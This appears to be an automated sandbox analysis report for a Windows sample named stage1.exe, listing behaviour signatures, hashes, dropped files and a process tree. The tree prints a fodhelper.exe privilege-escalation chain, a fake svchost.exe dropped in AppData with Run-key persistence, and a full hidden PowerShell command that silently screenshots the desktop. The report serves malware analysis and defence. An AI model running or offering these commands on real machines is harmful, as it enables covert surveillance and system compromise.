Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 09:26

General

  • Target
    stage1.exe
  • Size 64.4MB
  • Sample260801-ld7kqsgp7x
  • SHA256 10ce0d68893d8cb5a87bb13f3f5bb482ebb52d76283a2c5b6828ffc0fa89e8e5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\stage1.exe
    "C:\Users\Admin\AppData\Local\Temp\stage1.exe"
    1⤵
    • Downloads MZ/PE file
    • Adds Run key to start application
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5480
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4320
      • C:\Users\Admin\AppData\Local\a31a19a0\svchost.exe
        "C:\Users\Admin\AppData\Local\a31a19a0\svchost.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5408
        • C:\Windows\System32\calc.exe
          "C:\Windows\System32\calc.exe"
          4⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3416
          • C:\Windows\System32\win32calc.exe
            "C:\Windows\System32\win32calc.exe"
            5⤵
              PID:1204
      • C:\Windows\SYSTEM32\calc.exe
        "calc.exe"
        2⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:260
        • C:\Windows\System32\win32calc.exe
          "C:\Windows\System32\win32calc.exe"
          3⤵
            PID:5684
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cleanup.bat"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\system32\timeout.exe
            timeout /t 1 /nobreak
            3⤵
            • Delays execution with timeout.exe
            PID:924
      • C:\Users\Admin\AppData\Local\a31a19a0\svchost.exe
        C:\Users\Admin\AppData\Local\a31a19a0\svchost.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5668
        • C:\Windows\System32\calc.exe
          "C:\Windows\System32\calc.exe"
          2⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:480
          • C:\Windows\System32\win32calc.exe
            "C:\Windows\System32\win32calc.exe"
            3⤵
              PID:1948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $b=New-Object System.Drawing.Bitmap($w,$h); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$b.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\ss_76ef47bc0901.png'); $b.Dispose(); $g.Dispose()"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:612

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              cleanup.bat

              • Path C:\Users\Admin\AppData\Local\Temp\cleanup.bat
              • Size 242B
              • SHA256 de68bb7e6469ea0359cc7aa933e6da3ead795ee0026ee7d66b8f8d86c83e5f06
              • MD5 SHA1 SHA512 TLSH

              ss_76ef47bc0901.png

              • Path C:\Users\Admin\AppData\Local\Temp\ss_76ef47bc0901.png
              • Size 489KB
              • SHA256 5dbca1d31b84e145f4a6814ba2698b35da36d9b8abfa35a9e54801ba4b2f3e76
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/612-16-0x0000026EE7590000-0x0000026EE75B2000-memory.dmp

              memory/612-19-0x0000026EE7950000-0x0000026EE7B1A000-memory.dmp